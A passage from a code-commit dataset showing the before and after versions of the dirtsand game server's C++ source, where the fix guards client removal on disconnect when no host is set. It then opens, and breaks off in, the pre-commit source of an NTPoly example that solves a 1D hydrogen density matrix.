PARTICULAR PURPOSE. See the *\n * GNU General Public License for more details. *\n * *\n * You should have received a copy of the GNU General Public License *\n * along with dirtsand. If not, see <http:\/\/www.gnu.org\/licenses\/>. *\n ******************************************************************************\/\n\n#include \"GameServer_Private.h\"\n#include \"settings.h\"\n#include \"errors.h\"\n#include <unistd.h>\n#include <dirent.h>\n#include <sys\/stat.h>\n\nextern bool s_commdebug;\n\n#define START_REPLY(msgId) \\\n client.m_buffer.truncate(); \\\n client.m_buffer.write<uint16_t>(msgId)\n\n#define SEND_REPLY() \\\n DS::CryptSendBuffer(client.m_sock, client.m_crypt, \\\n client.m_buffer.buffer(), client.m_buffer.size())\n\nvoid game_client_init(GameClient_Private& client)\n{\n \/* Game client header: size, account uuid, age instance uuid *\/\n uint32_t size = DS::RecvValue<uint32_t>(client.m_sock);\n DS_PASSERT(size == 36);\n DS::Uuid clientUuid, connUuid;\n DS::RecvBuffer(client.m_sock, clientUuid.m_bytes, sizeof(clientUuid.m_bytes));\n DS::RecvBuffer(client.m_sock, connUuid.m_bytes, sizeof(connUuid.m_bytes));\n\n \/* Establish encryption *\/\n uint8_t msgId = DS::RecvValue<uint8_t>(client.m_sock);\n DS_PASSERT(msgId == DS::e_CliToServConnect);\n uint8_t msgSize = DS::RecvValue<uint8_t>(client.m_sock);\n DS_PASSERT(msgSize == 66);\n\n uint8_t Y[64];\n DS::RecvBuffer(client.m_sock, Y, 64);\n BYTE_SWAP_BUFFER(Y, 64);\n\n uint8_t serverSeed[7];\n uint8_t sharedKey[7];\n DS::CryptEstablish(serverSeed, sharedKey, DS::Settings::CryptKey(DS::e_KeyGame_N),\n DS::Settings::CryptKey(DS::e_KeyGame_K), Y);\n\n client.m_buffer.truncate();\n client.m_buffer.write<uint8_t>(DS::e_ServToCliEncrypt);\n client.m_buffer.write<uint8_t>(9);\n client.m_buffer.writeBytes(serverSeed, 7);\n DS::SendBuffer(client.m_sock, client.m_buffer.buffer(), client.m_buffer.size());\n\n client.m_crypt = DS::CryptStateInit(sharedKey, 7);\n}\n\nGameHost_Private* find_game_host(uint32_t ageMcpId)\n{\n pthread_mutex_lock(&s_gameHostMutex);\n hostmap_t::iterator host_iter = s_gameHosts.find(ageMcpId);\n GameHost_Private* host = 0;\n if (host_iter != s_gameHosts.end())\n host = host_iter->second;\n pthread_mutex_unlock(&s_gameHostMutex);\n return host ? host : start_game_host(ageMcpId);\n}\n\nvoid cb_ping(GameClient_Private& client)\n{\n START_REPLY(e_GameToCli_PingReply);\n\n \/\/ Ping time\n client.m_buffer.write<uint32_t>(DS::CryptRecvValue<uint32_t>(client.m_sock, client.m_crypt));\n\n SEND_REPLY();\n}\n\nvoid cb_join(GameClient_Private& client)\n{\n START_REPLY(e_GameToCli_JoinAgeReply);\n\n \/\/ Trans ID\n client.m_buffer.write<uint32_t>(DS::CryptRecvValue<uint32_t>(client.m_sock, client.m_crypt));\n\n uint32_t mcpId = DS::CryptRecvValue<uint32_t>(client.m_sock, client.m_crypt);\n client.m_host = find_game_host(mcpId);\n DS_PASSERT(client.m_host != 0);\n\n Game_ClientMessage msg;\n msg.m_client = &client;\n DS::CryptRecvBuffer(client.m_sock, client.m_crypt, client.m_clientId.m_bytes,\n sizeof(client.m_clientId.m_bytes));\n client.m_clientInfo.set_PlayerId(DS::CryptRecvValue<uint32_t>(client.m_sock, client.m_crypt));\n if (client.m_clientInfo.m_PlayerId == 0) {\n client.m_buffer.write<uint32_t>(DS::e_NetInvalidParameter);\n SEND_REPLY();\n return;\n }\n\n \/\/ Get player info from the vault\n Auth_NodeInfo nodeInfo;\n nodeInfo.m_client = &client;\n nodeInfo.m_node.set_NodeIdx(client.m_clientInfo.m_PlayerId);\n s_authChannel.putMessage(e_VaultFetchNode, reinterpret_cast<void*>(&nodeInfo));\n\n DS::FifoMessage reply = client.m_channel.getMessage();\n if (reply.m_messageType != DS::e_NetSuccess) {\n client.m_buffer.write<uint32_t>(reply.m_messageType);\n SEND_REPLY();\n return;\n }\n msg.m_client->m_clientInfo.set_PlayerName(nodeInfo.m_node.m_IString64_1);\n msg.m_client->m_clientInfo.set_CCRLevel(0);\n client.m_host->m_channel.putMessage(e_GameJoinAge, reinterpret_cast<void*>(&msg));\n\n reply = client.m_channel.getMessage();\n client.m_buffer.write<uint32_t>(reply.m_messageType);\n\n SEND_REPLY();\n\n pthread_mutex_lock(&client.m_host->m_clientMutex);\n client.m_host->m_clients[client.m_clientInfo.m_PlayerId] = &client;\n pthread_mutex_unlock(&client.m_host->m_clientMutex);\n}\n\nvoid cb_netmsg(GameClient_Private& client)\n{\n Game_PropagateMessage msg;\n msg.m_client = &client;\n msg.m_messageType = DS::CryptRecvValue<uint32_t>(client.m_sock, client.m_crypt);\n\n uint32_t size = DS::CryptRecvValue<uint32_t>(client.m_sock, client.m_crypt);\n uint8_t* buffer = new uint8_t[size];\n DS::CryptRecvBuffer(client.m_sock, client.m_crypt, buffer, size);\n msg.m_message = DS::Blob::Steal(buffer, size);\n client.m_host->m_channel.putMessage(e_GamePropagate, reinterpret_cast<void*>(&msg));\n client.m_channel.getMessage();\n}\n\nvoid cb_gameMgrMsg(GameClient_Private& client)\n{\n uint32_t size = DS::CryptRecvValue<uint32_t>(client.m_sock, client.m_crypt);\n uint8_t* buffer = new uint8_t[size];\n DS::CryptRecvBuffer(client.m_sock, client.m_crypt, buffer, size);\n\n printf(\"GAME MGR MSG\");\n for (size_t i=0; i<size; ++i) {\n if ((i % 16) == 0)\n printf(\"\\n \");\n else if ((i % 16) == 8)\n printf(\" \");\n printf(\"%02X \", buffer[i]);\n }\n printf(\"\\n\");\n delete[] buffer;\n}\n\nvoid* wk_gameWorker(void* sockp)\n{\n GameClient_Private client;\n client.m_sock = reinterpret_cast<DS::SocketHandle>(sockp);\n client.m_host = 0;\n\n try {\n game_client_init(client);\n } catch (DS::AssertException ex) {\n fprintf(stderr, \"[Game] Assertion failed at %s:%ld: %s\\n\",\n ex.m_file, ex.m_line, ex.m_cond);\n return 0;\n } catch (DS::SockHup) {\n \/\/ Socket closed...\n return 0;\n }\n\n try {\n for ( ;; ) {\n uint16_t msgId = DS::CryptRecvValue<uint16_t>(client.m_sock, client.m_crypt);\n switch (msgId) {\n case e_CliToGame_PingRequest:\n cb_ping(client);\n break;\n case e_CliToGame_JoinAgeRequest:\n cb_join(client);\n break;\n case e_CliToGame_Propagatebuffer:\n DS_PASSERT(client.m_host != 0);\n cb_netmsg(client);\n break;\n case e_CliToGame_GameMgrMsg:\n DS_PASSERT(client.m_host != 0);\n cb_gameMgrMsg(client);\n break;\n default:\n \/* Invalid message *\/\n fprintf(stderr, \"[Game] Got invalid message ID %d from %s\\n\",\n msgId, DS::SockIpAddress(client.m_sock).c_str());\n DS::CloseSock(client.m_sock);\n throw DS::SockHup();\n }\n }\n } catch (DS::AssertException ex) {\n fprintf(stderr, \"[Game] Assertion failed at %s:%ld: %s\\n\",\n ex.m_file, ex.m_line, ex.m_cond);\n } catch (DS::SockHup) {\n \/\/ Socket closed...\n }\n\n pthread_mutex_lock(&client.m_host->m_clientMutex);\n client.m_host->m_clients.erase(client.m_clientInfo.m_PlayerId);\n pthread_mutex_unlock(&client.m_host->m_clientMutex);\n Game_ClientMessage msg;\n msg.m_client = &client;\n client.m_host->m_channel.putMessage(e_GameDisconnect, reinterpret_cast<void*>(&msg));\n client.m_channel.getMessage();\n\n DS::CryptStateFree(client.m_crypt);\n DS::FreeSock(client.m_sock);\n return 0;\n}\n\nstatic int sel_age(const dirent* de)\n{\n return strcmp(strrchr(de->d_name, '.'), \".age\") == 0;\n}\n\nGame_AgeInfo age_parse(FILE* stream)\n{\n char lnbuffer[4096];\n\n Game_AgeInfo age;\n while (fgets(lnbuffer, 4096, stream)) {\n std::vector<DS::String> line = DS::String(lnbuffer).strip('#').split('=');\n if (line.size() == 0)\n continue;\n if (line.size() != 2) {\n fprintf(stderr, \"[Game] Invalid AGE line: %s\", lnbuffer);\n continue;\n }\n if (line[0] == \"StartDateTime\") {\n age.m_startTime = line[1].toUint(10);\n } else if (line[0] == \"DayLength\") {\n age.m_dayLength = line[1].toDouble();\n } else if (line[0] == \"MaxCapacity\") {\n age.m_maxCapacity = line[1].toUint(10);\n } else if (line[0] == \"LingerTime\") {\n age.m_lingerTime = line[1].toUint(10);\n } else if (line[0] == \"SequencePrefix\") {\n age.m_seqPrefix = line[1].toInt(10);\n } else if (line[0] == \"ReleaseVersion\" || line[0] == \"Page\") {\n \/\/ Ignored\n } else {\n fprintf(stderr, \"[Game] Invalid AGE line: %s\", lnbuffer);\n }\n }\n return age;\n}\n\nvoid DS::GameServer_Init()\n{\n dirent** dirls;\n int count = scandir(DS::Settings::AgePath(), &dirls, &sel_age, &alphasort);\n if (count < 0) {\n fprintf(stderr, \"[Game] Error reading age descriptors: %s\\n\", strerror(errno));\n } else if (count == 0) {\n fprintf(stderr, \"[Game] Warning: No age descriptors found!\\n\");\n free(dirls);\n } else {\n for (int i=0; i<count; ++i) {\n DS::String filename = DS::String::Format(\"%s\/%s\", DS::Settings::AgePath(), dirls[i]->d_name);\n FILE* ageFile = fopen(filename.c_str(), \"r\");\n if (ageFile) {\n char magic[12];\n fread(magic, 1, 12, ageFile);\n if (memcmp(magic, \"whatdoyousee\", 12) == 0 || memcmp(magic, \"notthedroids\", 12) == 0\n || memcmp(magic, \"BriceIsSmart\", 12) == 0) {\n fprintf(stderr, \"[Game] Error: Please decrypt your .age files before using!\\n\");\n break;\n }\n fseek(ageFile, 0, SEEK_SET);\n\n DS::String ageName = dirls[i]->d_name;\n ageName = ageName.left(ageName.find(\".age\"));\n Game_AgeInfo age = age_parse(ageFile);\n if (age.m_seqPrefix >= 0)\n s_ages[ageName] = age;\n fclose(ageFile);\n }\n free(dirls[i]);\n }\n free(dirls);\n }\n\n pthread_mutex_init(&s_gameHostMutex, 0);\n}\n\nvoid DS::GameServer_Add(DS::SocketHandle client)\n{\n#ifdef DEBUG\n if (s_commdebug)\n printf(\"Connecting GAME on %s\\n\", DS::SockIpAddress(client).c_str());\n#endif\n\n pthread_t threadh;\n pthread_create(&threadh, 0, &wk_gameWorker, reinterpret_cast<void*>(client));\n pthread_detach(threadh);\n}\n\nvoid DS::GameServer_Shutdown()\n{\n pthread_mutex_lock(&s_gameHostMutex);\n hostmap_t::iterator host_iter;\n for (host_iter = s_gameHosts.begin(); host_iter != s_gameHosts.end(); ++host_iter)\n host_iter->second->m_channel.putMessage(e_GameShutdown);\n pthread_mutex_unlock(&s_gameHostMutex);\n\n bool complete = false;\n for (int i=0; i<50 && !complete; ++i) {\n pthread_mutex_lock(&s_gameHostMutex);\n size_t alive = s_gameHosts.size();\n pthread_mutex_unlock(&s_gameHostMutex);\n if (alive == 0)\n complete = true;\n usleep(100000);\n }\n if (!complete)\n fprintf(stderr, \"[Game] Servers didn't die after 5 seconds!\\n\");\n pthread_mutex_destroy(&s_gameHostMutex);\n}\n\nvoid DS::GameServer_DisplayClients()\n{\n pthread_mutex_lock(&s_gameHostMutex);\n if (s_gameHosts.size())\n printf(\"Game Servers:\\n\");\n for (hostmap_t::iterator host_iter = s_gameHosts.begin();\n host_iter != s_gameHosts.end(); ++host_iter) {\n printf(\" {%s}\\n\", host_iter->second->m_instanceId.toString().c_str());\n std::tr1::unordered_map<uint32_t, GameClient_Private*>::iterator client_iter;\n for (client_iter = host_iter->second->m_clients.begin();\n client_iter != host_iter->second->m_clients.end(); ++ client_iter)\n printf(\" * %s - %s (%u)\\n\", DS::SockIpAddress(client_iter->second->m_sock).c_str(),\n client_iter->second->m_clientInfo.m_PlayerName.c_str(),\n client_iter->second->m_clientInfo.m_PlayerId);\n }\n pthread_mutex_unlock(&s_gameHostMutex);\n}\n<commit_msg>Don't try to remove a client from the host if we're not connected to one.<commit_after>\/******************************************************************************\n * This file is part of dirtsand. *\n * *\n * dirtsand is free software: you can redistribute it and\/or modify *\n * it under the terms of the GNU General Public License as published by *\n * the Free Software Foundation, either version 3 of the License, or *\n * (at your option) any later version. *\n * *\n * dirtsand is distributed in the hope that it will be useful, *\n * but WITHOUT ANY WARRANTY; without even the implied warranty of *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *\n * GNU General Public License for more details. *\n * *\n * You should have received a copy of the GNU General Public License *\n * along with dirtsand. If not, see <http:\/\/www.gnu.org\/licenses\/>. *\n ******************************************************************************\/\n\n#include \"GameServer_Private.h\"\n#include \"settings.h\"\n#include \"errors.h\"\n#include <unistd.h>\n#include <dirent.h>\n#include <sys\/stat.h>\n\nextern bool s_commdebug;\n\n#define START_REPLY(msgId) \\\n client.m_buffer.truncate(); \\\n client.m_buffer.write<uint16_t>(msgId)\n\n#define SEND_REPLY() \\\n DS::CryptSendBuffer(client.m_sock, client.m_crypt, \\\n client.m_buffer.buffer(), client.m_buffer.size())\n\nvoid game_client_init(GameClient_Private& client)\n{\n \/* Game client header: size, account uuid, age instance uuid *\/\n uint32_t size = DS::RecvValue<uint32_t>(client.m_sock);\n DS_PASSERT(size == 36);\n DS::Uuid clientUuid, connUuid;\n DS::RecvBuffer(client.m_sock, clientUuid.m_bytes, sizeof(clientUuid.m_bytes));\n DS::RecvBuffer(client.m_sock, connUuid.m_bytes, sizeof(connUuid.m_bytes));\n\n \/* Establish encryption *\/\n uint8_t msgId = DS::RecvValue<uint8_t>(client.m_sock);\n DS_PASSERT(msgId == DS::e_CliToServConnect);\n uint8_t msgSize = DS::RecvValue<uint8_t>(client.m_sock);\n DS_PASSERT(msgSize == 66);\n\n uint8_t Y[64];\n DS::RecvBuffer(client.m_sock, Y, 64);\n BYTE_SWAP_BUFFER(Y, 64);\n\n uint8_t serverSeed[7];\n uint8_t sharedKey[7];\n DS::CryptEstablish(serverSeed, sharedKey, DS::Settings::CryptKey(DS::e_KeyGame_N),\n DS::Settings::CryptKey(DS::e_KeyGame_K), Y);\n\n client.m_buffer.truncate();\n client.m_buffer.write<uint8_t>(DS::e_ServToCliEncrypt);\n client.m_buffer.write<uint8_t>(9);\n client.m_buffer.writeBytes(serverSeed, 7);\n DS::SendBuffer(client.m_sock, client.m_buffer.buffer(), client.m_buffer.size());\n\n client.m_crypt = DS::CryptStateInit(sharedKey, 7);\n}\n\nGameHost_Private* find_game_host(uint32_t ageMcpId)\n{\n pthread_mutex_lock(&s_gameHostMutex);\n hostmap_t::iterator host_iter = s_gameHosts.find(ageMcpId);\n GameHost_Private* host = 0;\n if (host_iter != s_gameHosts.end())\n host = host_iter->second;\n pthread_mutex_unlock(&s_gameHostMutex);\n return host ? host : start_game_host(ageMcpId);\n}\n\nvoid cb_ping(GameClient_Private& client)\n{\n START_REPLY(e_GameToCli_PingReply);\n\n \/\/ Ping time\n client.m_buffer.write<uint32_t>(DS::CryptRecvValue<uint32_t>(client.m_sock, client.m_crypt));\n\n SEND_REPLY();\n}\n\nvoid cb_join(GameClient_Private& client)\n{\n START_REPLY(e_GameToCli_JoinAgeReply);\n\n \/\/ Trans ID\n client.m_buffer.write<uint32_t>(DS::CryptRecvValue<uint32_t>(client.m_sock, client.m_crypt));\n\n uint32_t mcpId = DS::CryptRecvValue<uint32_t>(client.m_sock, client.m_crypt);\n client.m_host = find_game_host(mcpId);\n DS_PASSERT(client.m_host != 0);\n\n Game_ClientMessage msg;\n msg.m_client = &client;\n DS::CryptRecvBuffer(client.m_sock, client.m_crypt, client.m_clientId.m_bytes,\n sizeof(client.m_clientId.m_bytes));\n client.m_clientInfo.set_PlayerId(DS::CryptRecvValue<uint32_t>(client.m_sock, client.m_crypt));\n if (client.m_clientInfo.m_PlayerId == 0) {\n client.m_buffer.write<uint32_t>(DS::e_NetInvalidParameter);\n SEND_REPLY();\n return;\n }\n\n \/\/ Get player info from the vault\n Auth_NodeInfo nodeInfo;\n nodeInfo.m_client = &client;\n nodeInfo.m_node.set_NodeIdx(client.m_clientInfo.m_PlayerId);\n s_authChannel.putMessage(e_VaultFetchNode, reinterpret_cast<void*>(&nodeInfo));\n\n DS::FifoMessage reply = client.m_channel.getMessage();\n if (reply.m_messageType != DS::e_NetSuccess) {\n client.m_buffer.write<uint32_t>(reply.m_messageType);\n SEND_REPLY();\n return;\n }\n msg.m_client->m_clientInfo.set_PlayerName(nodeInfo.m_node.m_IString64_1);\n msg.m_client->m_clientInfo.set_CCRLevel(0);\n client.m_host->m_channel.putMessage(e_GameJoinAge, reinterpret_cast<void*>(&msg));\n\n reply = client.m_channel.getMessage();\n client.m_buffer.write<uint32_t>(reply.m_messageType);\n\n SEND_REPLY();\n\n pthread_mutex_lock(&client.m_host->m_clientMutex);\n client.m_host->m_clients[client.m_clientInfo.m_PlayerId] = &client;\n pthread_mutex_unlock(&client.m_host->m_clientMutex);\n}\n\nvoid cb_netmsg(GameClient_Private& client)\n{\n Game_PropagateMessage msg;\n msg.m_client = &client;\n msg.m_messageType = DS::CryptRecvValue<uint32_t>(client.m_sock, client.m_crypt);\n\n uint32_t size = DS::CryptRecvValue<uint32_t>(client.m_sock, client.m_crypt);\n uint8_t* buffer = new uint8_t[size];\n DS::CryptRecvBuffer(client.m_sock, client.m_crypt, buffer, size);\n msg.m_message = DS::Blob::Steal(buffer, size);\n client.m_host->m_channel.putMessage(e_GamePropagate, reinterpret_cast<void*>(&msg));\n client.m_channel.getMessage();\n}\n\nvoid cb_gameMgrMsg(GameClient_Private& client)\n{\n uint32_t size = DS::CryptRecvValue<uint32_t>(client.m_sock, client.m_crypt);\n uint8_t* buffer = new uint8_t[size];\n DS::CryptRecvBuffer(client.m_sock, client.m_crypt, buffer, size);\n\n printf(\"GAME MGR MSG\");\n for (size_t i=0; i<size; ++i) {\n if ((i % 16) == 0)\n printf(\"\\n \");\n else if ((i % 16) == 8)\n printf(\" \");\n printf(\"%02X \", buffer[i]);\n }\n printf(\"\\n\");\n delete[] buffer;\n}\n\nvoid* wk_gameWorker(void* sockp)\n{\n GameClient_Private client;\n client.m_sock = reinterpret_cast<DS::SocketHandle>(sockp);\n client.m_host = 0;\n\n try {\n game_client_init(client);\n } catch (DS::AssertException ex) {\n fprintf(stderr, \"[Game] Assertion failed at %s:%ld: %s\\n\",\n ex.m_file, ex.m_line, ex.m_cond);\n return 0;\n } catch (DS::SockHup) {\n \/\/ Socket closed...\n return 0;\n }\n\n try {\n for ( ;; ) {\n uint16_t msgId = DS::CryptRecvValue<uint16_t>(client.m_sock, client.m_crypt);\n switch (msgId) {\n case e_CliToGame_PingRequest:\n cb_ping(client);\n break;\n case e_CliToGame_JoinAgeRequest:\n cb_join(client);\n break;\n case e_CliToGame_Propagatebuffer:\n DS_PASSERT(client.m_host != 0);\n cb_netmsg(client);\n break;\n case e_CliToGame_GameMgrMsg:\n DS_PASSERT(client.m_host != 0);\n cb_gameMgrMsg(client);\n break;\n default:\n \/* Invalid message *\/\n fprintf(stderr, \"[Game] Got invalid message ID %d from %s\\n\",\n msgId, DS::SockIpAddress(client.m_sock).c_str());\n DS::CloseSock(client.m_sock);\n throw DS::SockHup();\n }\n }\n } catch (DS::AssertException ex) {\n fprintf(stderr, \"[Game] Assertion failed at %s:%ld: %s\\n\",\n ex.m_file, ex.m_line, ex.m_cond);\n } catch (DS::SockHup) {\n \/\/ Socket closed...\n }\n\n if (client.m_host) {\n pthread_mutex_lock(&client.m_host->m_clientMutex);\n client.m_host->m_clients.erase(client.m_clientInfo.m_PlayerId);\n pthread_mutex_unlock(&client.m_host->m_clientMutex);\n Game_ClientMessage msg;\n msg.m_client = &client;\n client.m_host->m_channel.putMessage(e_GameDisconnect, reinterpret_cast<void*>(&msg));\n client.m_channel.getMessage();\n }\n\n DS::CryptStateFree(client.m_crypt);\n DS::FreeSock(client.m_sock);\n return 0;\n}\n\nstatic int sel_age(const dirent* de)\n{\n return strcmp(strrchr(de->d_name, '.'), \".age\") == 0;\n}\n\nGame_AgeInfo age_parse(FILE* stream)\n{\n char lnbuffer[4096];\n\n Game_AgeInfo age;\n while (fgets(lnbuffer, 4096, stream)) {\n std::vector<DS::String> line = DS::String(lnbuffer).strip('#').split('=');\n if (line.size() == 0)\n continue;\n if (line.size() != 2) {\n fprintf(stderr, \"[Game] Invalid AGE line: %s\", lnbuffer);\n continue;\n }\n if (line[0] == \"StartDateTime\") {\n age.m_startTime = line[1].toUint(10);\n } else if (line[0] == \"DayLength\") {\n age.m_dayLength = line[1].toDouble();\n } else if (line[0] == \"MaxCapacity\") {\n age.m_maxCapacity = line[1].toUint(10);\n } else if (line[0] == \"LingerTime\") {\n age.m_lingerTime = line[1].toUint(10);\n } else if (line[0] == \"SequencePrefix\") {\n age.m_seqPrefix = line[1].toInt(10);\n } else if (line[0] == \"ReleaseVersion\" || line[0] == \"Page\") {\n \/\/ Ignored\n } else {\n fprintf(stderr, \"[Game] Invalid AGE line: %s\", lnbuffer);\n }\n }\n return age;\n}\n\nvoid DS::GameServer_Init()\n{\n dirent** dirls;\n int count = scandir(DS::Settings::AgePath(), &dirls, &sel_age, &alphasort);\n if (count < 0) {\n fprintf(stderr, \"[Game] Error reading age descriptors: %s\\n\", strerror(errno));\n } else if (count == 0) {\n fprintf(stderr, \"[Game] Warning: No age descriptors found!\\n\");\n free(dirls);\n } else {\n for (int i=0; i<count; ++i) {\n DS::String filename = DS::String::Format(\"%s\/%s\", DS::Settings::AgePath(), dirls[i]->d_name);\n FILE* ageFile = fopen(filename.c_str(), \"r\");\n if (ageFile) {\n char magic[12];\n fread(magic, 1, 12, ageFile);\n if (memcmp(magic, \"whatdoyousee\", 12) == 0 || memcmp(magic, \"notthedroids\", 12) == 0\n || memcmp(magic, \"BriceIsSmart\", 12) == 0) {\n fprintf(stderr, \"[Game] Error: Please decrypt your .age files before using!\\n\");\n break;\n }\n fseek(ageFile, 0, SEEK_SET);\n\n DS::String ageName = dirls[i]->d_name;\n ageName = ageName.left(ageName.find(\".age\"));\n Game_AgeInfo age = age_parse(ageFile);\n if (age.m_seqPrefix >= 0)\n s_ages[ageName] = age;\n fclose(ageFile);\n }\n free(dirls[i]);\n }\n free(dirls);\n }\n\n pthread_mutex_init(&s_gameHostMutex, 0);\n}\n\nvoid DS::GameServer_Add(DS::SocketHandle client)\n{\n#ifdef DEBUG\n if (s_commdebug)\n printf(\"Connecting GAME on %s\\n\", DS::SockIpAddress(client).c_str());\n#endif\n\n pthread_t threadh;\n pthread_create(&threadh, 0, &wk_gameWorker, reinterpret_cast<void*>(client));\n pthread_detach(threadh);\n}\n\nvoid DS::GameServer_Shutdown()\n{\n pthread_mutex_lock(&s_gameHostMutex);\n hostmap_t::iterator host_iter;\n for (host_iter = s_gameHosts.begin(); host_iter != s_gameHosts.end(); ++host_iter)\n host_iter->second->m_channel.putMessage(e_GameShutdown);\n pthread_mutex_unlock(&s_gameHostMutex);\n\n bool complete = false;\n for (int i=0; i<50 && !complete; ++i) {\n pthread_mutex_lock(&s_gameHostMutex);\n size_t alive = s_gameHosts.size();\n pthread_mutex_unlock(&s_gameHostMutex);\n if (alive == 0)\n complete = true;\n usleep(100000);\n }\n if (!complete)\n fprintf(stderr, \"[Game] Servers didn't die after 5 seconds!\\n\");\n pthread_mutex_destroy(&s_gameHostMutex);\n}\n\nvoid DS::GameServer_DisplayClients()\n{\n pthread_mutex_lock(&s_gameHostMutex);\n if (s_gameHosts.size())\n printf(\"Game Servers:\\n\");\n for (hostmap_t::iterator host_iter = s_gameHosts.begin();\n host_iter != s_gameHosts.end(); ++host_iter) {\n printf(\" {%s}\\n\", host_iter->second->m_instanceId.toString().c_str());\n std::tr1::unordered_map<uint32_t, GameClient_Private*>::iterator client_iter;\n for (client_iter = host_iter->second->m_clients.begin();\n client_iter != host_iter->second->m_clients.end(); ++ client_iter)\n printf(\" * %s - %s (%u)\\n\", DS::SockIpAddress(client_iter->second->m_sock).c_str(),\n client_iter->second->m_clientInfo.m_PlayerName.c_str(),\n client_iter->second->m_clientInfo.m_PlayerId);\n }\n pthread_mutex_unlock(&s_gameHostMutex);\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ An example based on solving matrices based on a 1D hydrogen molecule.\n#include <math.h>\n#include <mpi.h>\n#include <string>\nusing std::string;\n#include <sstream>\nusing std::stringstream;\n#include <vector>\nusing std::vector;\n#include <iostream>\n\/\/ NTPoly Headers\n#include \"DensityMatrixSolvers.h\"\n#include \"PSMatrix.h\"\n#include \"ProcessGrid.h\"\n#include \"SolverParameters.h\"\n#include \"Triplet.h\"\n#include \"TripletList.h\"\n\/\/ ETC\nconst double x_start = -6.28;\nconst double x_end = 6.28;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint main(int argc, char *argv[]) {\n \/\/ Input Parameters\n string density_file_out;\n int process_rows, process_columns, process_slices;\n double threshold, convergence_threshold;\n int number_of_electrons;\n int grid_points;\n\n \/\/ Setup MPI\n int provided;\n MPI_Init_thread(&argc, &argv, MPI_THREAD_SERIALIZED, &provided);\n int total_processors;\n MPI_Comm_size(MPI_COMM_WORLD, &total_processors);\n int rank;\n MPI_Comm_rank(MPI_COMM_WORLD, &rank);\n\n \/\/ Process The Input Parameters\n string key, value;\n for (int i = 1; i < argc; i += 2) {\n key = string(argv[i]);\n value = string(argv[i + 1]);\n stringstream ss;\n ss << value;\n if (key == \"--density\") {\n ss >> density_file_out;\n } else if (key == \"--process_rows\") {\n ss >> process_rows;\n } else if (key == \"--process_columns\") {\n ss >> process_columns;\n } else if (key == \"--process_slices\") {\n ss >> process_slices;\n } else if (key == \"--grid_points\") {\n ss >> grid_points;\n } else if (key == \"--number_of_electrons\") {\n ss >> number_of_electrons;\n } else if (key == \"--threshold\") {\n ss >> threshold;\n } else if (key == \"--convergence_threshold\") {\n ss >> convergence_threshold;\n }\n }\n\n \/\/ Setup the process grid.\n NTPoly::ConstructProcessGrid(MPI_COMM_WORLD, process_rows, process_columns,\n process_slices, true);\n \/\/ Set Up The Solver Parameters.\n NTPoly::SolverParameters solver_parameters;\n solver_parameters.SetConvergeDiff(convergence_threshold);\n solver_parameters.SetThreshold(threshold);\n solver_parameters.SetVerbosity(true);\n\n \/\/ Divide The Work Amongst Processors.\n int local_grid_points = grid_points \/ total_processors;\n int start_row = local_grid_points * rank;\n \/\/ Handle the edge case\n if (rank == total_processors - 1) {\n local_grid_points = grid_points - rank * local_grid_points;\n }\n vector<double> local_rows(local_grid_points);\n for (int i = 0; i < local_grid_points; ++i) {\n local_rows[i] = start_row + i;\n }\n\n \/\/ Construct A Linear Space.\n vector<double> x_values(local_grid_points);\n double grid_spacing = (x_end - x_start) \/ (grid_points - 1);\n double local_x_start = x_start + start_row * grid_spacing;\n for (int i = 0; i < local_grid_points; ++i) {\n x_values[i] = local_x_start + i * grid_spacing;\n }\n\n \/\/ Construct The Kinetic Energy Operator.\n NTPoly::TripletList_r triplet_list;\n NTPoly::Triplet_r temp_value;\n for (int counter = 0; counter < local_grid_points; ++counter) {\n temp_value.index_row = start_row + counter + 1;\n \/\/ Stencil Point 1\n if (temp_value.index_row > 2) {\n temp_value.index_column = temp_value.index_row - 2;\n temp_value.point_value =\n (-0.5) * (-1.0 \/ (12.0 * grid_spacing * grid_spacing));\n triplet_list.Append(temp_value);\n }\n \/\/ Stencil Point 2\n if (temp_value.index_row > 1) {\n temp_value.index_column = temp_value.index_row - 1;\n temp_value.point_value =\n (-0.5) * (16.0 \/ (12.0 * grid_spacing * grid_spacing));\n triplet_list.Append(temp_value);\n }\n \/\/ Stencil Point 3\n temp_value.index_column = temp_value.index_row;\n temp_value.point_value =\n (-0.5) * (-30.0 \/ (12.0 * grid_spacing * grid_spacing));\n triplet_list.Append(temp_value);\n \/\/ Stencil Point 4\n if (temp_value.index_row + 1 < grid_points) {\n temp_value.index_column = temp_value.index_row + 1;\n temp_value.point_value =\n (-0.5) * (16.0 \/ (12.0 * grid_spacing * grid_spacing));\n triplet_list.Append(temp_value);\n }\n \/\/ Stencil Point 5\n if (temp_value.index_row + 2 < grid_points) {\n temp_value.index_column = temp_value.index_row + 2;\n temp_value.point_value =\n (-0.5) * (-1.0 \/ (12.0 * grid_spacing * grid_spacing));\n triplet_list.Append(temp_value);\n }\n }\n NTPoly::Matrix_ps KineticEnergy(grid_points);\n KineticEnergy.FillFromTripletList(triplet_list);\n\n \/\/ Construct The Potential Energy Operator.\n NTPoly::TripletList_r potential_triplet_list;\n for (int i = 0; i < local_grid_points; ++i) {\n temp_value.index_row = start_row + i + 1;\n temp_value.index_column = start_row + i + 1;\n temp_value.point_value = -1.0 \/ fabs(x_values[i]);\n potential_triplet_list.Append(temp_value);\n }\n NTPoly::Matrix_ps PotentialEnergy(grid_points);\n PotentialEnergy.FillFromTripletList(potential_triplet_list);\n\n \/\/ Construct The Full Hamiltonian.\n NTPoly::Matrix_ps Hamiltonian(KineticEnergy);\n Hamiltonian.Increment(PotentialEnergy);\n\n \/\/ Overlap Matrix is just the identity.\n NTPoly::Matrix_ps Identity(grid_points);\n Identity.FillIdentity();\n\n \/\/ Call the solver routine.\n NTPoly::Matrix_ps Density(grid_points);\n double chemical_potential;\n NTPoly::DensityMatrixSolvers::TRS2(Hamiltonian, Identity, 2, Density, energy\n chemical_potential, solver_parameters);\n\n \/\/ 